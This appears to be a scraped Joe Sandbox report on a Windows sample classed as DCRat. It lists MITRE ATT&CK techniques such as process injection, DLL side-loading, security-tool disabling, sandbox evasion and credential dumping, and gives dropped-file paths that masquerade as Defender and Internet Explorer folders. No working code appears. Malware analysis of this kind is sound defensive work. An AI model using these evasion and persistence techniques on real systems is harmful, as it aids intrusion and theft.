Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bfd0000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID: A$N$Q$S
API String ID: 0-1162517949
Opcode ID: 43a8bed5bdf08a941f329a35552386c8389580ae5faa335d0647ce853034058b
Instruction ID: 39fce251242c22ae505196bf7efb3b5690cace10db6668d68bb2fc58cc6deb77
Opcode Fuzzy Hash: 43a8bed5bdf08a941f329a35552386c8389580ae5faa335d0647ce853034058b
Instruction Fuzzy Hash: A8213D2690D3C40FE32A4A749C656A17FA5DF43314F0A42EED5DAC70F3E518590BC392

Function 00007FFD9BFD3618 Relevance: 5.0, Strings: 4, Instructions: 39COMMON

Download Yara Rule

Strings

S, xrefs: 00007FFD9BFD30C4
;, xrefs: 00007FFD9BFD350F
F, xrefs: 00007FFD9BFD3845
J, xrefs: 00007FFD9BFD34F4

Memory Dump Source

Source File: 00000005.00000002.2948830326.00007FFD9BFD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bfd0000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID: ;$F$J$S
API String ID: 0-760288648
Opcode ID: b2e283bfa44055264fbea01d0f1166dcf80df857b331dcc2e182782ee9665edb
Instruction ID: 6b43f827c9c375f79ea74cffab4cb1ac9428cad7aa467412ad70ae5397fdf684
Opcode Fuzzy Hash: b2e283bfa44055264fbea01d0f1166dcf80df857b331dcc2e182782ee9665edb
Instruction Fuzzy Hash: E201A230B0D5068AE2788A48D494B757295EB80304F21477CCA5FC31E2EB2E7A4E8686

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Z90Z9bYzPa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Internet Explorer\en-GB\91e168f4ec1147

C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe

C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe:Zone.Identifier

C:\Program Files\Windows Defender\en-US\6e10d114dd40fd

C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe

C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe:Zone.Identifier

C:\ProgramData\Microsoft\UEV\Scripts\6e10d114dd40fd

C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe

C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe:Zone.Identifier

C:\Recovery\5940a34987c991

C:\Recovery\6e10d114dd40fd

Windows Analysis Report
Z90Z9bYzPa.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre